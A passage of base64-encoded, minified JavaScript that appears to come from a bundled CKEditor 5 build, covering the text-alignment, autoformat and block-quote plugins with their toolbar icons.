6dH1jbGFzcyBuQ3tjb25zdHJ1Y3Rvcih0KXt0aGlzLmVkaXRvcj10O3RoaXMuc2V0KCJpc0VuYWJsZWQiLHRydWUpO3RoaXMuX2Rpc2FibGVTdGFjaz1uZXcgU2V0fWZvcmNlRGlzYWJsZWQodCl7dGhpcy5fZGlzYWJsZVN0YWNrLmFkZCh0KTtpZih0aGlzLl9kaXNhYmxlU3RhY2suc2l6ZT09MSl7dGhpcy5vbigic2V0OmlzRW5hYmxlZCIsaUMse3ByaW9yaXR5OiJoaWdoZXN0In0pO3RoaXMuaXNFbmFibGVkPWZhbHNlfX1jbGVhckZvcmNlRGlzYWJsZWQodCl7dGhpcy5fZGlzYWJsZVN0YWNrLmRlbGV0ZSh0KTtpZih0aGlzLl9kaXNhYmxlU3RhY2suc2l6ZT09MCl7dGhpcy5vZmYoInNldDppc0VuYWJsZWQiLGlDKTt0aGlzLmlzRW5hYmxlZD10cnVlfX1kZXN0cm95KCl7dGhpcy5zdG9wTGlzdGVuaW5nKCl9c3RhdGljIGdldCBpc0NvbnRleHRQbHVnaW4oKXtyZXR1cm4gZmFsc2V9fV9zKG5DLEpjKTtmdW5jdGlvbiBpQyh0KXt0LnJldHVybj1mYWxzZTt0LnN0b3AoKX1jbGFzcyBvQ3tjb25zdHJ1Y3Rvcih0KXt0aGlzLmVkaXRvcj10O3RoaXMuc2V0KCJ2YWx1ZSIsdW5kZWZpbmVkKTt0aGlzLnNldCgiaXNFbmFibGVkIixmYWxzZSk7dGhpcy5fZGlzYWJsZVN0YWNrPW5ldyBTZXQ7dGhpcy5kZWNvcmF0ZSgiZXhlY3V0ZSIpO3RoaXMubGlzdGVuVG8odGhpcy5lZGl0b3IubW9kZWwuZG9jdW1lbnQsImNoYW5nZSIsKCgpPT57dGhpcy5yZWZyZXNoKCl9KSk7dGhpcy5vbigiZXhlY3V0ZSIsKHQ9PntpZighdGhpcy5pc0VuYWJsZWQpe3Quc3RvcCgpfX0pLHtwcmlvcml0eToiaGlnaCJ9KTt0aGlzLmxpc3RlblRvKHQsImNoYW5nZTppc1JlYWRPbmx5IiwoKHQsZSxuKT0+e2lmKG4pe3RoaXMuZm9yY2VEaXNhYmxlZCgicmVhZE9ubHlNb2RlIil9ZWxzZXt0aGlzLmNsZWFyRm9yY2VEaXNhYmxlZCgicmVhZE9ubHlNb2RlIil9fSkpfXJlZnJlc2goKXt0aGlzLmlzRW5hYmxlZD10cnVlfWZvcmNlRGlzYWJsZWQodCl7dGhpcy5fZGlzYWJsZVN0YWNrLmFkZCh0KTtpZih0aGlzLl9kaXNhYmxlU3RhY2suc2l6ZT09MSl7dGhpcy5vbigic2V0OmlzRW5hYmxlZCIsckMse3ByaW9yaXR5OiJoaWdoZXN0In0pO3RoaXMuaXNFbmFibGVkPWZhbHNlfX1jbGVhckZvcmNlRGlzYWJsZWQodCl7dGhpcy5fZGlzYWJsZVN0YWNrLmRlbGV0ZSh0KTtpZih0aGlzLl9kaXNhYmxlU3RhY2suc2l6ZT09MCl7dGhpcy5vZmYoInNldDppc0VuYWJsZWQiLHJDKTt0aGlzLnJlZnJlc2goKX19ZXhlY3V0ZSgpe31kZXN0cm95KCl7dGhpcy5zdG9wTGlzdGVuaW5nKCl9fV9zKG9DLEpjKTtmdW5jdGlvbiByQyh0KXt0LnJldHVybj1mYWxzZTt0LnN0b3AoKX1mdW5jdGlvbiBzQyh0KXtjb25zdCBlPXQubmV4dCgpO2lmKGUuZG9uZSl7cmV0dXJuIG51bGx9cmV0dXJuIGUudmFsdWV9Y29uc3QgYUM9WyJsZWZ0IiwicmlnaHQiLCJjZW50ZXIiLCJqdXN0aWZ5Il07ZnVuY3Rpb24gY0ModCl7cmV0dXJuIGFDLmluY2x1ZGVzKHQpfWZ1bmN0aW9uIGxDKHQsZSl7aWYoZS5jb250ZW50TGFuZ3VhZ2VEaXJlY3Rpb249PSJydGwiKXtyZXR1cm4gdD09PSJyaWdodCJ9ZWxzZXtyZXR1cm4gdD09PSJsZWZ0In19Y29uc3QgZEM9ImFsaWdubWVudCI7Y2xhc3MgdUMgZXh0ZW5kcyBvQ3tyZWZyZXNoKCl7Y29uc3QgdD10aGlzLmVkaXRvcjtjb25zdCBlPXQubG9jYWxlO2NvbnN0IG49c0ModGhpcy5lZGl0b3IubW9kZWwuZG9jdW1lbnQuc2VsZWN0aW9uLmdldFNlbGVjdGVkQmxvY2tzKCkpO3RoaXMuaXNFbmFibGVkPSEhbiYmdGhpcy5fY2FuQmVBbGlnbmVkKG4pO2lmKHRoaXMuaXNFbmFibGVkJiZuLmhhc0F0dHJpYnV0ZSgiYWxpZ25tZW50Iikpe3RoaXMudmFsdWU9bi5nZXRBdHRyaWJ1dGUoImFsaWdubWVudCIpfWVsc2V7dGhpcy52YWx1ZT1lLmNvbnRlbnRMYW5ndWFnZURpcmVjdGlvbj09PSJydGwiPyJyaWdodCI6ImxlZnQifX1leGVjdXRlKHQ9e30pe2NvbnN0IGU9dGhpcy5lZGl0b3I7Y29uc3Qgbj1lLmxvY2FsZTtjb25zdCBpPWUubW9kZWw7Y29uc3Qgbz1pLmRvY3VtZW50O2NvbnN0IHI9dC52YWx1ZTtpLmNoYW5nZSgodD0+e2NvbnN0IGU9QXJyYXkuZnJvbShvLnNlbGVjdGlvbi5nZXRTZWxlY3RlZEJsb2NrcygpKS5maWx0ZXIoKHQ9PnRoaXMuX2NhbkJlQWxpZ25lZCh0KSkpO2NvbnN0IGk9ZVswXS5nZXRBdHRyaWJ1dGUoImFsaWdubWVudCIpO2NvbnN0IHM9bEMocixuKXx8aT09PXJ8fCFyO2lmKHMpe2hDKGUsdCl9ZWxzZXtmQyhlLHQscil9fSkpfV9jYW5CZUFsaWduZWQodCl7cmV0dXJuIHRoaXMuZWRpdG9yLm1vZGVsLnNjaGVtYS5jaGVja0F0dHJpYnV0ZSh0LGRDKX19ZnVuY3Rpb24gaEModCxlKXtmb3IoY29uc3QgbiBvZiB0KXtlLnJlbW92ZUF0dHJpYnV0ZShkQyxuKX19ZnVuY3Rpb24gZkModCxlLG4pe2Zvcihjb25zdCBpIG9mIHQpe2Uuc2V0QXR0cmlidXRlKGRDLG4saSl9fWNsYXNzIG1DIGV4dGVuZHMgbkN7c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIkFsaWdubWVudEVkaXRpbmcifWNvbnN0cnVjdG9yKHQpe3N1cGVyKHQpO3QuY29uZmlnLmRlZmluZSgiYWxpZ25tZW50Iix7b3B0aW9uczpbLi4uYUNdfSl9aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10LmxvY2FsZTtjb25zdCBuPXQubW9kZWwuc2NoZW1hO2NvbnN0IGk9dC5jb25maWcuZ2V0KCJhbGlnbm1lbnQub3B0aW9ucyIpLmZpbHRlcihjQyk7bi5leHRlbmQoIiRibG9jayIse2FsbG93QXR0cmlidXRlczoiYWxpZ25tZW50In0pO3QubW9kZWwuc2NoZW1hLnNldEF0dHJpYnV0ZVByb3BlcnRpZXMoImFsaWdubWVudCIse2lzRm9ybWF0dGluZzp0cnVlfSk7Y29uc3Qgbz1nQyhpLmZpbHRlcigodD0+IWxDKHQsZSkpKSk7dC5jb252ZXJzaW9uLmF0dHJpYnV0ZVRvQXR0cmlidXRlKG8pO3QuY29tbWFuZHMuYWRkKCJhbGlnbm1lbnQiLG5ldyB1Qyh0KSl9fWZ1bmN0aW9uIGdDKHQpe2NvbnN0IGU9e21vZGVsOntrZXk6ImFsaWdubWVudCIsdmFsdWVzOnQuc2xpY2UoKX0sdmlldzp7fX07Zm9yKGNvbnN0IG4gb2YgdCl7ZS52aWV3W25dPXtrZXk6InN0eWxlIix2YWx1ZTp7InRleHQtYWxpZ24iOm59fX1yZXR1cm4gZX12YXIgcEM9Jzxzdmcgdmlld0JveD0iMCAwIDIwIDIwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxwYXRoIGQ9Ik0yIDMuNzVjMCAuNDE0LjMzNi43NS43NS43NWgxNC41YS43NS43NSAwIDEgMCAwLTEuNUgyLjc1YS43NS43NSAwIDAgMC0uNzUuNzV6bTAgOGMwIC40MTQuMzM2Ljc1Ljc1Ljc1aDE0LjVhLjc1Ljc1IDAgMSAwIDAtMS41SDIuNzVhLjc1Ljc1IDAgMCAwLS43NS43NXptMCA0YzAgLjQxNC4zMzYuNzUuNzUuNzVoOS45MjlhLjc1Ljc1IDAgMSAwIDAtMS41SDIuNzVhLjc1Ljc1IDAgMCAwLS43NS43NXptMC04YzAgLjQxNC4zMzYuNzUuNzUuNzVoOS45MjlhLjc1Ljc1IDAgMSAwIDAtMS41SDIuNzVhLjc1Ljc1IDAgMCAwLS43NS43NXoiLz48L3N2Zz4nO3ZhciBrQz0nPHN2ZyB2aWV3Qm94PSIwIDAgMjAgMjAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHBhdGggZD0iTTE4IDMuNzVhLjc1Ljc1IDAgMCAxLS43NS43NUgyLjc1YS43NS43NSAwIDEgMSAwLTEuNWgxNC41YS43NS43NSAwIDAgMSAuNzUuNzV6bTAgOGEuNzUuNzUgMCAwIDEtLjc1Ljc1SDIuNzVhLjc1Ljc1IDAgMSAxIDAtMS41aDE0LjVhLjc1Ljc1IDAgMCAxIC43NS43NXptMCA0YS43NS43NSAwIDAgMS0uNzUuNzVINy4zMjFhLjc1Ljc1IDAgMSAxIDAtMS41aDkuOTI5YS43NS43NSAwIDAgMSAuNzUuNzV6bTAtOGEuNzUuNzUgMCAwIDEtLjc1Ljc1SDcuMzIxYS43NS43NSAwIDEgMSAwLTEuNWg5LjkyOWEuNzUuNzUgMCAwIDEgLjc1Ljc1eiIvPjwvc3ZnPic7dmFyIGJDPSc8c3ZnIHZpZXdCb3g9IjAgMCAyMCAyMCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMiAzLjc1YzAgLjQxNC4zMzYuNzUuNzUuNzVoMTQuNWEuNzUuNzUgMCAxIDAgMC0xLjVIMi43NWEuNzUuNzUgMCAwIDAtLjc1Ljc1em0wIDhjMCAuNDE0LjMzNi43NS43NS43NWgxNC41YS43NS43NSAwIDEgMCAwLTEuNUgyLjc1YS43NS43NSAwIDAgMC0uNzUuNzV6bTIuMjg2IDRjMCAuNDE0LjMzNi43NS43NS43NWg5LjkyOGEuNzUuNzUgMCAxIDAgMC0xLjVINS4wMzZhLjc1Ljc1IDAgMCAwLS43NS43NXptMC04YzAgLjQxNC4zMzYuNzUuNzUuNzVoOS45MjhhLjc1Ljc1IDAgMSAwIDAtMS41SDUuMDM2YS43NS43NSAwIDAgMC0uNzUuNzV6Ii8+PC9zdmc+Jzt2YXIgd0M9Jzxzdmcgdmlld0JveD0iMCAwIDIwIDIwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxwYXRoIGQ9Ik0yIDMuNzVjMCAuNDE0LjMzNi43NS43NS43NWgxNC41YS43NS43NSAwIDEgMCAwLTEuNUgyLjc1YS43NS43NSAwIDAgMC0uNzUuNzV6bTAgOGMwIC40MTQuMzM2Ljc1Ljc1Ljc1aDE0LjVhLjc1Ljc1IDAgMSAwIDAtMS41SDIuNzVhLjc1Ljc1IDAgMCAwLS43NS43NXptMCA0YzAgLjQxNC4zMzYuNzUuNzUuNzVoOS45MjlhLjc1Ljc1IDAgMSAwIDAtMS41SDIuNzVhLjc1Ljc1IDAgMCAwLS43NS43NXptMC04YzAgLjQxNC4zMzYuNzUuNzUuNzVoMTQuNWEuNzUuNzUgMCAxIDAgMC0xLjVIMi43NWEuNzUuNzUgMCAwIDAtLjc1Ljc1eiIvPjwvc3ZnPic7Y29uc3QgQ0M9bmV3IE1hcChbWyJsZWZ0IixwQ10sWyJyaWdodCIsa0NdLFsiY2VudGVyIixiQ10sWyJqdXN0aWZ5Iix3Q11dKTtjbGFzcyBBQyBleHRlbmRzIG5De2dldCBsb2NhbGl6ZWRPcHRpb25UaXRsZXMoKXtjb25zdCB0PXRoaXMuZWRpdG9yLnQ7cmV0dXJue2xlZnQ6dCgiQWxpZ24gbGVmdCIpLHJpZ2h0OnQoIkFsaWduIHJpZ2h0IiksY2VudGVyOnQoIkFsaWduIGNlbnRlciIpLGp1c3RpZnk6dCgiSnVzdGlmeSIpfX1zdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iQWxpZ25tZW50VUkifWluaXQoKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9dC51aS5jb21wb25lbnRGYWN0b3J5O2NvbnN0IG49dC50O2NvbnN0IGk9dC5jb25maWcuZ2V0KCJhbGlnbm1lbnQub3B0aW9ucyIpO2kuZmlsdGVyKGNDKS5mb3JFYWNoKCh0PT50aGlzLl9hZGRCdXR0b24odCkpKTtlLmFkZCgiYWxpZ25tZW50IiwodD0+e2NvbnN0IG89TncodCk7Y29uc3Qgcj1pLm1hcCgodD0+ZS5jcmVhdGUoYGFsaWdubWVudDoke3R9YCkpKTtCdyhvLHIpO28uYnV0dG9uVmlldy5zZXQoe2xhYmVsOm4oIlRleHQgYWxpZ25tZW50IiksdG9vbHRpcDp0cnVlfSk7by50b29sYmFyVmlldy5pc1ZlcnRpY2FsPXRydWU7by50b29sYmFyVmlldy5hcmlhTGFiZWw9bigiVGV4dCBhbGlnbm1lbnQgdG9vbGJhciIpO28uZXh0ZW5kVGVtcGxhdGUoe2F0dHJpYnV0ZXM6e2NsYXNzOiJjay1hbGlnbm1lbnQtZHJvcGRvd24ifX0pO2NvbnN0IHM9dC5jb250ZW50TGFuZ3VhZ2VEaXJlY3Rpb249PT0icnRsIj9rQzpwQztvLmJ1dHRvblZpZXcuYmluZCgiaWNvbiIpLnRvTWFueShyLCJpc09uIiwoKC4uLnQpPT57Y29uc3QgZT10LmZpbmRJbmRleCgodD0+dCkpO2lmKGU8MCl7cmV0dXJuIHN9cmV0dXJuIHJbZV0uaWNvbn0pKTtvLmJpbmQoImlzRW5hYmxlZCIpLnRvTWFueShyLCJpc0VuYWJsZWQiLCgoLi4udCk9PnQuc29tZSgodD0+dCkpKSk7cmV0dXJuIG99KSl9X2FkZEJ1dHRvbih0KXtjb25zdCBlPXRoaXMuZWRpdG9yO2UudWkuY29tcG9uZW50RmFjdG9yeS5hZGQoYGFsaWdubWVudDoke3R9YCwobj0+e2NvbnN0IGk9ZS5jb21tYW5kcy5nZXQoImFsaWdubWVudCIpO2NvbnN0IG89bmV3IGN3KG4pO28uc2V0KHtsYWJlbDp0aGlzLmxvY2FsaXplZE9wdGlvblRpdGxlc1t0XSxpY29uOkNDLmdldCh0KSx0b29sdGlwOnRydWUsaXNUb2dnbGVhYmxlOnRydWV9KTtvLmJpbmQoImlzRW5hYmxlZCIpLnRvKGkpO28uYmluZCgiaXNPbiIpLnRvKGksInZhbHVlIiwoZT0+ZT09PXQpKTt0aGlzLmxpc3RlblRvKG8sImV4ZWN1dGUiLCgoKT0+e2UuZXhlY3V0ZSgiYWxpZ25tZW50Iix7dmFsdWU6dH0pO2UuZWRpdGluZy52aWV3LmZvY3VzKCl9KSk7cmV0dXJuIG99KSl9fWNsYXNzIF9DIGV4dGVuZHMgbkN7c3RhdGljIGdldCByZXF1aXJlcygpe3JldHVyblttQyxBQ119c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIkFsaWdubWVudCJ9fWZ1bmN0aW9uIHZDKHQsZSxuLGkpe2xldCBvO2xldCByPW51bGw7aWYodHlwZW9mIGk9PSJmdW5jdGlvbiIpe289aX1lbHNle3I9dC5jb21tYW5kcy5nZXQoaSk7bz0oKT0+e3QuZXhlY3V0ZShpKX19dC5tb2RlbC5kb2N1bWVudC5vbigiY2hhbmdlOmRhdGEiLCgoaSxzKT0+e2lmKHImJiFyLmlzRW5hYmxlZHx8IWUuaXNFbmFibGVkKXtyZXR1cm59Y29uc3QgYT1zQyh0Lm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbi5nZXRSYW5nZXMoKSk7aWYoIWEuaXNDb2xsYXBzZWQpe3JldHVybn1pZihzLnR5cGU9PSJ0cmFuc3BhcmVudCIpe3JldHVybn1jb25zdCBjPUFycmF5LmZyb20odC5tb2RlbC5kb2N1bWVudC5kaWZmZXIuZ2V0Q2hhbmdlcygpKTtjb25zdCBsPWNbMF07aWYoYy5sZW5ndGghPTF8fGwudHlwZSE9PSJpbnNlcnQifHxsLm5hbWUhPSIkdGV4dCJ8fGwubGVuZ3RoIT0xKXtyZXR1cm59Y29uc3QgZD1sLnBvc2l0aW9uLnBhcmVudDtpZihkLmlzKCJlbGVtZW50IiwiY29kZUJsb2NrIikpe3JldHVybn1pZihyJiZyLnZhbHVlPT09dHJ1ZSl7cmV0dXJufWNvbnN0IHU9ZC5nZXRDaGlsZCgwKTtjb25zdCBoPXQubW9kZWwuY3JlYXRlUmFuZ2VPbih1KTtpZighaC5jb250YWluc1JhbmdlKGEpJiYhYS5lbmQuaXNFcXVhbChoLmVuZCkpe3JldHVybn1jb25zdCBmPW4uZXhlYyh1LmRhdGEuc3Vic3RyKDAsYS5lbmQub2Zmc2V0KSk7aWYoIWYpe3JldHVybn10Lm1vZGVsLmVucXVldWVDaGFuZ2UoKHQ9Pntjb25zdCBlPXQuY3JlYXRlUG9zaXRpb25BdChkLDApO2NvbnN0IG49dC5jcmVhdGVQb3NpdGlvbkF0KGQsZlswXS5sZW5ndGgpO2NvbnN0IGk9bmV3IGtmKGUsbik7Y29uc3Qgcj1vKHttYXRjaDpmfSk7aWYociE9PWZhbHNlKXt0LnJlbW92ZShpKX1pLmRldGFjaCgpfSkpfSkpfWZ1bmN0aW9uIHlDKHQsZSxuLGkpe2xldCBvO2xldCByO2lmKG4gaW5zdGFuY2VvZiBSZWdFeHApe289bn1lbHNle3I9bn1yPXJ8fCh0PT57bGV0IGU7Y29uc3Qgbj1bXTtjb25zdCBpPVtdO3doaWxlKChlPW8uZXhlYyh0KSkhPT1udWxsKXtpZihlJiZlLmxlbmd0aDw0KXticmVha31sZXR7aW5kZXg6dCwxOm8sMjpyLDM6c309ZTtjb25zdCBhPW8rcitzO3QrPWVbMF0ubGVuZ3RoLWEubGVuZ3RoO2NvbnN0IGM9W3QsdCtvLmxlbmd0aF07Y29uc3QgbD1bdCtvLmxlbmd0aCtyLmxlbmd0aCx0K28ubGVuZ3RoK3IubGVuZ3RoK3MubGVuZ3RoXTtuLnB1c2goYyk7bi5wdXNoKGwpO2kucHVzaChbdCtvLmxlbmd0aCx0K28ubGVuZ3RoK3IubGVuZ3RoXSl9cmV0dXJue3JlbW92ZTpuLGZvcm1hdDppfX0pO3QubW9kZWwuZG9jdW1lbnQub24oImNoYW5nZTpkYXRhIiwoKG4sbyk9PntpZihvLnR5cGU9PSJ0cmFuc3BhcmVudCJ8fCFlLmlzRW5hYmxlZCl7cmV0dXJufWNvbnN0IHM9dC5tb2RlbDtjb25zdCBhPXMuZG9jdW1lbnQuc2VsZWN0aW9uO2lmKCFhLmlzQ29sbGFwc2VkKXtyZXR1cm59Y29uc3QgYz1BcnJheS5mcm9tKHMuZG9jdW1lbnQuZGlmZmVyLmdldENoYW5nZXMoKSk7Y29uc3QgbD1jWzBdO2lmKGMubGVuZ3RoIT0xfHxsLnR5cGUhPT0iaW5zZXJ0Inx8bC5uYW1lIT0iJHRleHQifHxsLmxlbmd0aCE9MSl7cmV0dXJufWNvbnN0IGQ9YS5mb2N1cztjb25zdCB1PWQucGFyZW50O2NvbnN0e3RleHQ6aCxyYW5nZTpmfT1EQyhzLmNyZWF0ZVJhbmdlKHMuY3JlYXRlUG9zaXRpb25BdCh1LDApLGQpLHMpO2NvbnN0IG09cihoKTtjb25zdCBnPXhDKGYuc3RhcnQsbS5mb3JtYXQscyk7Y29uc3QgcD14QyhmLnN0YXJ0LG0ucmVtb3ZlLHMpO2lmKCEoZy5sZW5ndGgmJnAubGVuZ3RoKSl7cmV0dXJufXMuZW5xdWV1ZUNoYW5nZSgodD0+e2NvbnN0IGU9aSh0LGcpO2lmKGU9PT1mYWxzZSl7cmV0dXJufWZvcihjb25zdCBlIG9mIHAucmV2ZXJzZSgpKXt0LnJlbW92ZShlKX19KSl9KSl9ZnVuY3Rpb24geEModCxlLG4pe3JldHVybiBlLmZpbHRlcigodD0+dFswXSE9PXVuZGVmaW5lZCYmdFsxXSE9PXVuZGVmaW5lZCkpLm1hcCgoZT0+bi5jcmVhdGVSYW5nZSh0LmdldFNoaWZ0ZWRCeShlWzBdKSx0LmdldFNoaWZ0ZWRCeShlWzFdKSkpKX1mdW5jdGlvbiBEQyh0LGUpe2xldCBuPXQuc3RhcnQ7Y29uc3QgaT1BcnJheS5mcm9tKHQuZ2V0SXRlbXMoKSkucmVkdWNlKCgodCxpKT0+e2lmKCEoaS5pcygiJHRleHQiKXx8aS5pcygiJHRleHRQcm94eSIpKXx8aS5nZXRBdHRyaWJ1dGUoImNvZGUiKSl7bj1lLmNyZWF0ZVBvc2l0aW9uQWZ0ZXIoaSk7cmV0dXJuIiJ9cmV0dXJuIHQraS5kYXRhfSksIiIpO3JldHVybnt0ZXh0OmkscmFuZ2U6ZS5jcmVhdGVSYW5nZShuLHQuZW5kKX19Y2xhc3MgRUMgZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iQXV0b2Zvcm1hdCJ9YWZ0ZXJJbml0KCl7dGhpcy5fYWRkTGlzdEF1dG9mb3JtYXRzKCk7dGhpcy5fYWRkQmFzaWNTdHlsZXNBdXRvZm9ybWF0cygpO3RoaXMuX2FkZEhlYWRpbmdBdXRvZm9ybWF0cygpO3RoaXMuX2FkZEJsb2NrUXVvdGVBdXRvZm9ybWF0cygpO3RoaXMuX2FkZENvZGVCbG9ja0F1dG9mb3JtYXRzKCl9X2FkZExpc3RBdXRvZm9ybWF0cygpe2NvbnN0IHQ9dGhpcy5lZGl0b3IuY29tbWFuZHM7aWYodC5nZXQoImJ1bGxldGVkTGlzdCIpKXt2Qyh0aGlzLmVkaXRvcix0aGlzLC9eWyotXVxzJC8sImJ1bGxldGVkTGlzdCIpfWlmKHQuZ2V0KCJudW1iZXJlZExpc3QiKSl7dkModGhpcy5lZGl0b3IsdGhpcywvXjFbLnwpXVxzJC8sIm51bWJlcmVkTGlzdCIpfX1fYWRkQmFzaWNTdHlsZXNBdXRvZm9ybWF0cygpe2NvbnN0IHQ9dGhpcy5lZGl0b3IuY29tbWFuZHM7aWYodC5nZXQoImJvbGQiKSl7Y29uc3QgdD1NQyh0aGlzLmVkaXRvciwiYm9sZCIpO3lDKHRoaXMuZWRpdG9yLHRoaXMsLyhcKlwqKShbXipdKykoXCpcKikkL2csdCk7eUModGhpcy5lZGl0b3IsdGhpcywvKF9fKShbXl9dKykoX18pJC9nLHQpfWlmKHQuZ2V0KCJpdGFsaWMiKSl7Y29uc3QgdD1NQyh0aGlzLmVkaXRvciwiaXRhbGljIik7eUModGhpcy5lZGl0b3IsdGhpcywvKD86XnxbXipdKShcKikoW14qX10rKShcKikkL2csdCk7eUModGhpcy5lZGl0b3IsdGhpcywvKD86XnxbXl9dKShfKShbXl9dKykoXykkL2csdCl9aWYodC5nZXQoImNvZGUiKSl7Y29uc3QgdD1NQyh0aGlzLmVkaXRvciwiY29kZSIpO3lDKHRoaXMuZWRpdG9yLHRoaXMsLyhgKShbXmBdKykoYCkkL2csdCl9aWYodC5nZXQoInN0cmlrZXRocm91Z2giKSl7Y29uc3QgdD1NQyh0aGlzLmVkaXRvciwic3RyaWtldGhyb3VnaCIpO3lDKHRoaXMuZWRpdG9yLHRoaXMsLyh+fikoW15+XSspKH5+KSQvZyx0KX19X2FkZEhlYWRpbmdBdXRvZm9ybWF0cygpe2NvbnN0IHQ9dGhpcy5lZGl0b3IuY29tbWFuZHMuZ2V0KCJoZWFkaW5nIik7aWYodCl7dC5tb2RlbEVsZW1lbnRzLmZpbHRlcigodD0+dC5tYXRjaCgvXmhlYWRpbmdbMS02XSQvKSkpLmZvckVhY2goKGU9Pntjb25zdCBuPWVbN107Y29uc3QgaT1uZXcgUmVnRXhwKGBeKCN7JHtufX0pXFxzJGApO3ZDKHRoaXMuZWRpdG9yLHRoaXMsaSwoKCk9PntpZighdC5pc0VuYWJsZWR8fHQudmFsdWU9PT1lKXtyZXR1cm4gZmFsc2V9dGhpcy5lZGl0b3IuZXhlY3V0ZSgiaGVhZGluZyIse3ZhbHVlOmV9KX0pKX0pKX19X2FkZEJsb2NrUXVvdGVBdXRvZm9ybWF0cygpe2lmKHRoaXMuZWRpdG9yLmNvbW1hbmRzLmdldCgiYmxvY2tRdW90ZSIpKXt2Qyh0aGlzLmVkaXRvcix0aGlzLC9ePlxzJC8sImJsb2NrUXVvdGUiKX19X2FkZENvZGVCbG9ja0F1dG9mb3JtYXRzKCl7aWYodGhpcy5lZGl0b3IuY29tbWFuZHMuZ2V0KCJjb2RlQmxvY2siKSl7dkModGhpcy5lZGl0b3IsdGhpcywvXmBgYCQvLCJjb2RlQmxvY2siKX19fWZ1bmN0aW9uIE1DKHQsZSl7cmV0dXJuKG4saSk9Pntjb25zdCBvPXQuY29tbWFuZHMuZ2V0KGUpO2lmKCFvLmlzRW5hYmxlZCl7cmV0dXJuIGZhbHNlfWNvbnN0IHI9dC5tb2RlbC5zY2hlbWEuZ2V0VmFsaWRSYW5nZXMoaSxlKTtmb3IoY29uc3QgdCBvZiByKXtuLnNldEF0dHJpYnV0ZShlLHRydWUsdCl9bi5yZW1vdmVTZWxlY3Rpb25BdHRyaWJ1dGUoZSl9fWNsYXNzIFNDIGV4dGVuZHMgb0N7cmVmcmVzaCgpe3RoaXMudmFsdWU9dGhpcy5fZ2V0VmFsdWUoKTt0aGlzLmlzRW5hYmxlZD10aGlzLl9jaGVja0VuYWJsZWQoKX1leGVjdXRlKHQ9e30pe2NvbnN0IGU9dGhpcy5lZGl0b3IubW9kZWw7Y29uc3Qgbj1lLnNjaGVtYTtjb25zdCBpPWUuZG9jdW1lbnQuc2VsZWN0aW9uO2NvbnN0IG89QXJyYXkuZnJvbShpLmdldFNlbGVjdGVkQmxvY2tzKCkpO2NvbnN0IHI9dC5mb3JjZVZhbHVlPT09dW5kZWZpbmVkPyF0aGlzLnZhbHVlOnQuZm9yY2VWYWx1ZTtlLmNoYW5nZSgodD0+e2lmKCFyKXt0aGlzLl9yZW1vdmVRdW90ZSh0LG8uZmlsdGVyKFRDKSl9ZWxzZXtjb25zdCBlPW8uZmlsdGVyKCh0PT5UQyh0KXx8TkMobix0KSkpO3RoaXMuX2FwcGx5UXVvdGUodCxlKX19KSl9X2dldFZhbHVlKCl7Y29uc3QgdD10aGlzLmVkaXRvci5tb2RlbC5kb2N1bWVudC5zZWxlY3Rpb247Y29uc3QgZT1zQyh0LmdldFNlbGVjdGVkQmxvY2tzKCkpO3JldHVybiEhKGUmJlRDKGUpKX1fY2hlY2tFbmFibGVkKCl7aWYodGhpcy52YWx1ZSl7cmV0dXJuIHRydWV9Y29uc3QgdD10aGlzLmVkaXRvci5tb2RlbC5kb2N1bWVudC5zZWxlY3Rpb247Y29uc3QgZT10aGlzLmVkaXRvci5tb2RlbC5zY2hlbWE7Y29uc3Qgbj1zQyh0LmdldFNlbGVjdGVkQmxvY2tzKCkpO2lmKCFuKXtyZXR1cm4gZmFsc2V9cmV0dXJuIE5DKGUsbil9X3JlbW92ZVF1b3RlKHQsZSl7SUModCxlKS5yZXZlcnNlKCkuZm9yRWFjaCgoZT0+e2lmKGUuc3RhcnQuaXNBdFN0YXJ0JiZlLmVuZC5pc0F0RW5kKXt0LnVud3JhcChlLnN0YXJ0LnBhcmVudCk7cmV0dXJufWlmKGUuc3RhcnQuaXNBdFN0YXJ0KXtjb25zdCBuPXQuY3JlYXRlUG9zaXRpb25CZWZvcmUoZS5zdGFydC5wYXJlbnQpO3QubW92ZShlLG4pO3JldHVybn1pZighZS5lbmQuaXNBdEVuZCl7dC5zcGxpdChlLmVuZCl9Y29uc3Qgbj10LmNyZWF0ZVBvc2l0aW9uQWZ0ZXIoZS5lbmQucGFyZW50KTt0Lm1vdmUoZSxuKX0pKX1fYXBwbHlRdW90ZSh0LGUpe2NvbnN0IG49W107SUModCxlKS5yZXZlcnNlKCkuZm9yRWFjaCgoZT0+e2xldCBpPVRDKGUuc3RhcnQpO2lmKCFpKXtpPXQuY3JlYXRlRWxlbWVudCgiYmxvY2tRdW90ZSIpO3Qud3JhcChlLGkpfW4ucHVzaChpKX0pKTtuLnJldmVyc2UoKS5yZWR1Y2UoKChlLG4pPT57aWYoZS5uZXh0U2libGluZz09bil7dC5tZXJnZSh0LmNyZWF0ZVBvc2l0aW9uQWZ0ZXIoZSkpO3JldHVybiBlfXJldHVybiBufSkpfX1mdW5jdGlvbiBUQyh0KXtyZXR1cm4gdC5wYXJlbnQubmFtZT09ImJsb2NrUXVvdGUiP3QucGFyZW50Om51bGx9ZnVuY3Rpb24gSUModCxlKXtsZXQgbjtsZXQgaT0wO2NvbnN0IG89W107d2hpbGUoaTxlLmxlbmd0aCl7Y29uc3Qgcj1lW2ldO2NvbnN0IHM9ZVtpKzFdO2lmKCFuKXtuPXQuY3JlYXRlUG9zaXRpb25CZWZvcmUocil9aWYoIXN8fHIubmV4dFNpYmxpbmchPXMpe28ucHVzaCh0LmNyZWF0ZVJhbmdlKG4sdC5jcmVhdGVQb3NpdGlvbkFmdGVyKHIpKSk7bj1udWxsfWkrK31yZXR1cm4gb31mdW5jdGlvbiBOQyh0LGUpe2NvbnN0IG49dC5jaGVja0NoaWxkKGUucGFy